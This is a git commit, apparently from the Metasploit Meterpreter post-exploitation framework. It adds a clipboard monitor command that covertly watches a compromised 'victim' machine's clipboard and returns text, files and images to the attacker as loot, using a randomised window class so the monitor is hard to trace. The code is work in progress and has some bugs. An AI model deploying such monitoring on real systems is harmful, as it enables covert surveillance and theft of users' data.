Start clipboard monitor functionality

Added the basics of the clipboard monitor functionality with usage
messages and stuff like that. Lots more to do.
bug/bundler_fix
OJ 2013-11-21 06:29:37 +10:00
parent 1dacf7e57e
commit 4d1c3c1f01
3 changed files with 105 additions and 4 deletions

View File

@ -81,6 +81,30 @@ class Clipboard
return true
end
def monitor_start(opts)
# TODO: add some smarts, a separate thread, etc to download the content
request = Packet.create_request('extapi_clipboard_monitor_start')
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls])
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES, opts[:files])
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES, opts[:images])
return client.send_request(request)
end
def monitor_pause
request = Packet.create_request('extapi_clipboard_monitor_pause')
return client.send_request(request)
end
def monitor_resume
request = Packet.create_request('extapi_clipboard_monitor_resume')
return client.send_request(request)
end
def monitor_stop
request = Packet.create_request('extapi_clipboard_monitor_stop')
return client.send_request(request)
end
attr_accessor :client
end

View File

@ -40,6 +40,10 @@ TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX = TLV_META_TYPE_UINT | (TLV_TYPE_E
TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47)
TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48)
TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 49)
TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50)
TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51)
end
end
end

View File

@ -5,7 +5,6 @@ module Rex
module Post
module Meterpreter
module Ui
###
#
# Extended API window management user interface.
@ -23,7 +22,8 @@ class Console::CommandDispatcher::Extapi::Clipboard
def commands
{
"clipboard_get_data" => "Read the victim's current clipboard (text, files, images)",
"clipboard_set_text" => "Write text to the victim's clipboard"
"clipboard_set_text" => "Write text to the victim's clipboard",
"clipboard_monitor" => "Interact with the clipboard monitor"
}
end
@ -143,7 +143,7 @@ class Console::CommandDispatcher::Extapi::Clipboard
"-h" => [ false, "Help banner" ]
)
def clipboard_set_text_usage()
def print_clipboard_set_text_usage()
print(
"\nUsage: clipboard_set_text [-h] <text>\n\n" +
"Set the target's clipboard to the given text value.\n\n")
@ -158,7 +158,7 @@ class Console::CommandDispatcher::Extapi::Clipboard
@@set_text_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
clipboard_set_text_usage
print_clipboard_set_text_usage
return true
end
}
@ -166,6 +166,79 @@ class Console::CommandDispatcher::Extapi::Clipboard
return client.extapi.clipboard.set_text(args.join(" "))
end
#
# Options for the clipboard_get_data command.
#
@@monitor_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help banner" ],
"-i" => [ false, "Automatically download image content" ],
"-f" => [ false, "Automatically download files" ],
"-l" => [ true, "Specifies the folder to write the clipboard loot to" ]
)
def print_clipboard_monitor_usage()
print(
"\nUsage: clipboard_monitor <start|pause|resume|stop> [-f] [-i] [-h]\n\n" +
"Starts or stops a background clipboard monitoring thread. The thread watches\n" +
"the clipboard on the target, under the context of the current desktop, and when\n" +
"changes are detected the contents of the clipboard are returned to the attacker.\n\n" +
" - start - starts the clipboard monitor with the given arguments if\n" +
" the thread is not already running.\n" +
" - pause - pauses a currently running clipboard monitor thread.\n" +
" - resume - resumes a currently paused clipboard monitor thread.\n" +
" - stop - stops a currently running or paused clipboard monitor thread.\n" +
@@monitor_opts.usage + "\n")
end
def cmd_clipboard_monitor(*args)
args.unshift "-h" if args.length == 0
download_files = false
download_images = false
loot_dir = nil
@@set_text_opts.parse(args) { |opt, idx, val|
case opt
when "-f"
download_files = true
when "-i"
download_images = true
when "-l"
loot_dir = val
when "-h"
print_clipboard_monitor_usage
return true
end
}
case args.shift
when "start"
loot_dir = generate_loot_dir(true) unless loot_dir
print_status("Clipboard monitor looting to #{loot_dir} ...")
print_status("Download files? #{download_files ? "Yes" : "No"}")
print_status("Download images? #{download_images ? "Yes" : "No"}")
client.extapi.clipboard.monitor_start({
# random class and window name so that it isn't easy
# to track via a script
:wincls => Rex::Text.rand_text_alpha(8),
:loot => loot_dir,
:files => download_files,
:iamges => download_images
})
print_good("Clipboard monitor started")
when "pause"
client.extapi.clipboard.monitor_pause
print_good("Clipboard monitor paused")
when "resume"
client.extapi.clipboard.monitor_resume
print_good("Clipboard monitor resumed")
when "stop"
client.extapi.clipboard.monitor_stop
print_good("Clipboard monitor stopped")
end
end
protected
# TODO: get help from the MSF masters, because I have no